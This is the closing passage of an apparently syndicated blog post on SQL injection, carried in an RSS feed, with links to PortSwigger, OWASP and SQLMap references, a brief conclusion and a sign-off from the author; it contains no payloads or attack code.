&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PortSwigger SQL Injection Cheat Sheet:&lt;/strong&gt; &lt;a href="https://portswigger.net/kb/sql-injection-cheat-sheet" rel="noopener noreferrer"&gt;https://portswigger.net/kb/sql-injection-cheat-sheet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Testing Guide – SQLi:&lt;/strong&gt; &lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_SQL_Injection" rel="noopener noreferrer"&gt;https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/03-Testing_for_SQL_Injection&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SQLMap Docs:&lt;/strong&gt; &lt;a href="https://sqlmap.org/" rel="noopener noreferrer"&gt;https://sqlmap.org/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;br&gt;
SQL Injection remains one of the most critical web vulnerabilities. Mastering each technique—from classic bypass to advanced OAST—empowers both attackers and defenders to secure or exploit applications effectively.&lt;/p&gt;

&lt;p&gt;Thanks to everyone who made it to the end of this blog. Make sure to follow me on X (&lt;a href="https://x.com/Advik_Kant" rel="noopener noreferrer"&gt;https://x.com/Advik_Kant&lt;/a&gt;) till then stay ethical, stay curious, and always code defensively!&lt;/p&gt;

</description>
      <category>programming</category>
      <category>tutorial</category>
      <category>sql</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
